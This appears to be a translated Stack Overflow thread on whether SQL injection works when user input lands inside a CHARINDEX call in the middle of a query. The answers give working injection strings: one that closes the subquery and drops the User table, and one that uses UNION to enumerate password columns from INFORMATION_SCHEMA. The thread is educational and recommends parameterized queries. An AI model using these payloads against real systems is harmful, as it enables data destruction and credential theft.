【问题标题】:SQL injection mid querySQL注入中间查询
【发布时间】:2021-12-02 18:38:42
【问题描述】:

我想加深对可能存在的 SQL 注入攻击的了解。我知道参数化完全避免了 SQL 注入风险,因此应该在任何地方应用。但是,当有人问我如何利用它时,我希望得到一个答案。

我知道基本的 SQL 注入攻击是如何工作的。例如,一个网站有一个页面website.com/users/{id},其中 id 是用户的主键。如果我们完全信任输入并简单地将 id 参数传递给正在执行的查询,这可能会产生可怕的后果。对于website.com/users/1,查询变为SELECT * FROM [User] WHERE [Id] = 1。但是,在website.com/users/1;DROP TABLE User 的情况下,查询变为SELECT * FROM [User] WHERE [Id] = 1;DROP TABLE User,导致结果很糟糕。

但是,我读到的几乎所有 SQL 注入攻击都依赖于在注入之前出现的 WHERE 子句。几乎总是,注入以;Injected statement-- 的某种形式起作用。

我的问题是,如果给定如下查询,是否也可以执行 SQL 注入攻击?或者从更广泛的意义上说:是否必须编译整个语句才能进行 SQL 注入攻击,或者语句中的任何错误都会导致攻击失败?如果每个 DBMS 的答案不同,请指定 DBMS。

在下面的查询中,注入应该发生在CHARINDEX('input', [Name]) > 0 中,其中input 是从用户的输入中复制而来的。

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

我最了解的是下面的查询,但它返回的错误 Missing end comment mark '*/' 似乎完全阻止了任何攻击。

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

【问题讨论】:

  • 在您的查询中,字符串连接发生在哪里?这就是注入 SQL 的地方。
  • 如果您使用参数,那么它会在执行查询之前阻塞(1;DROP.. 不是整数值),或者只是将“DROP”视为值的一部分,而不是命令
  • @SalmanA 让我看看如何才能更清楚。但是应该发生注入的部分是 CHARINDEX('input'.

标签: sql sql-injection


【解决方案1】:

生成的 SQL 必须被特定的 DBMS 接受才能发生注入,这通常意味着它需要是有效的 SQL,但通常有一些方法可以制作输入以使其有效,而不管所讨论的 SQL 是什么。

如果一行注释不够,可以添加额外的语句;如果不允许使用多个语句,则可以使用 UNION;等等。

确切的细节各不相同,但如果对查询有足够的了解(例如,通过向用户泄露错误细节)或幸运的猜测,通常可以精心设计出对攻击者有利的东西。

在您的示例中,考虑这个输入,它只是重复现有查询的部分内容:

nonsense', [Name]) > 0
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense

这会导致以下 SQL:

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]
    )
) AS [User];

Drop Table [User];

SELECT
    *
FROM (
    SELECT TOP 10
        *
    FROM
        [User]
    WHERE
        CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
    [Setting] ON [Setting].[UserId] = [User].[Id]

【讨论】:

  • 谢谢!没有比重复查询更简单的攻击了吗?此外,基本上,如果查询是通过 API 执行的,并且在 SQL 错误的情况下仅返回 400,那么攻击者将不得不依靠运气?
  • @bdebaere 这取决于你所说的“更简单”是什么意思——这对我来说是最简单的东西,因为我对 SQL 有充分的了解。没有完全知识的攻击者很可能会想出一些不同的东西,但重点是注入几乎总是可能的,而这正是您需要知道的。是的,在错误中泄露的信息越少,攻击者的工作就越难,但他们仍然可以做出明智的猜测。
  • 如果我告诉写这篇文章的人,我不确定我是否会完全说服他,根据查询的知识,你可以构造一个适合注入的复杂字符串。所以我希望有一种方法可以不知道整个查询的细节。
  • @bdebaere 这听起来像是一个无法取胜的论点:无论你想出什么例子,他们都会返回一个“啊,但是......” SQL 注入不是想象中的攻击;真正的高调目标已经使用它受到损害。当解决方案始终相同时,您的同事确实没有必要浪费时间检查每个查询如何它可以被攻击(或者您浪费时间与他争论) - 将您的查询和您的参数分开。
【解决方案2】:

SQL 注入通常发生在涉及某种字符串连接/插入操作的地方。 它不一定是WHERE 子句。此外,一般来说,攻击者对删除表不感兴趣,他想要信息。如果input 被替换成这样会怎样:

', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --

假设 select 的结果以某种方式显示并且还显示了错误消息,那么攻击者需要几分钟来确定在查询实际返回名称之前他应该添加的 , NULL 的数量和位置他想在下一阶段探索的表和列。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2021-12-20
    • 2021-02-14
    • 1970-01-01
    • 2018-03-29
    • 2020-09-16
    • 2023-04-03
    • 1970-01-01
    相关资源
    最近更新 更多